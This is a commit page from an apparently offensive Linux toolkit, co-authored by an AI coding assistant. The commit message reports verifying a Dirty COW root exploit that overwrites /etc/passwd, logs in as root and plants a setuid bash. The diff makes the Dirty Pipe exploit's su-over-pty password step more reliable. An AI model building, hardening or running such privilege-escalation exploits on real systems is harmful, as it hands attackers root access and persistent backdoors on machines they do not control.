dirty_cow: verify end-to-end on 4.8.0; robust su helper (dirty_pipe too)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

Verified the dirty_cow fix end-to-end on a genuinely Dirty-COW-vulnerable
mainline 4.8.0 kernel (installed the kernel.ubuntu.com 4.8.0 deb on a 16.04
image + virtio-rng for entropy). A standalone built verbatim from the module's
primitive + escalation raced root's password field, authenticated as root over
a pty, planted a root-owned setuid bash, and left /etc/passwd byte-identical.
(The full skeletonkey binary won't compile on xenial's 4.4-era uapi headers —
unrelated nft_* modules use newer kernel constants — so the verbatim standalone
stands in for --exploit dirty_cow there.)

Robustness fix (both dirty_cow AND dirty_pipe): the su-over-pty step now POLLS
for the password prompt and hard-caps at 20s. The previous fixed-delay write
raced su's prompt setup and HUNG on xenial; without a cap that would block the
revert and leave /etc/passwd poisoned. Now su can never hang the module, and the
revert always runs.

Also: netfilter_xtcompat now includes <linux/if.h> for IFNAMSIZ (ip_tables.h
doesn't pull it transitively on older kernel headers, e.g. Ubuntu 16.04) — a
real portability fix surfaced by building on xenial.

Host build + unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 23:26:12 -04:00
parent 68dac6c063
commit 65588599ff
5 changed files with 63 additions and 26 deletions
@@ -62,6 +62,7 @@
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <poll.h>
#include <pwd.h>
/* ---- Dirty Pipe primitive ---------------------------------------- */
@@ -206,19 +207,29 @@ static void dp_su_root_run(const char *cmd)
_exit(127);
}
/* Parent: wait for the "Password:" prompt, then send the password. */
usleep(400 * 1000);
char drain[256];
ssize_t n = read(mfd, drain, sizeof drain); /* consume the prompt */
(void)n;
if (write(mfd, DP_ROOT_PW "\n", sizeof(DP_ROOT_PW)) < 0) { /* ignore */ }
/* Drain su's output until it exits and the pty closes. */
for (;;) {
ssize_t m = read(mfd, drain, sizeof drain);
if (m <= 0) break;
/* Parent: poll for the "Password:" prompt, send the password, then drain —
* with a hard 20s cap so a misbehaving su can never hang (which would block
* the revert and leave /etc/passwd poisoned). The earlier fixed-delay write
* raced su's prompt setup on some hosts (observed hanging on xenial). */
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
const char *pw = DP_ROOT_PW "\n";
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
while (waited < 20000) {
int pr = poll(&pfd, 1, 200);
if (pr > 0 && (pfd.revents & POLLIN)) {
char b[256]; ssize_t m = read(mfd, b, sizeof b);
if (m <= 0) break; /* pty closed → su exited */
if (!sent) {
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
} else {
waited += 200;
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
}
int st;
waitpid(pid, &st, 0);
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
close(mfd);
}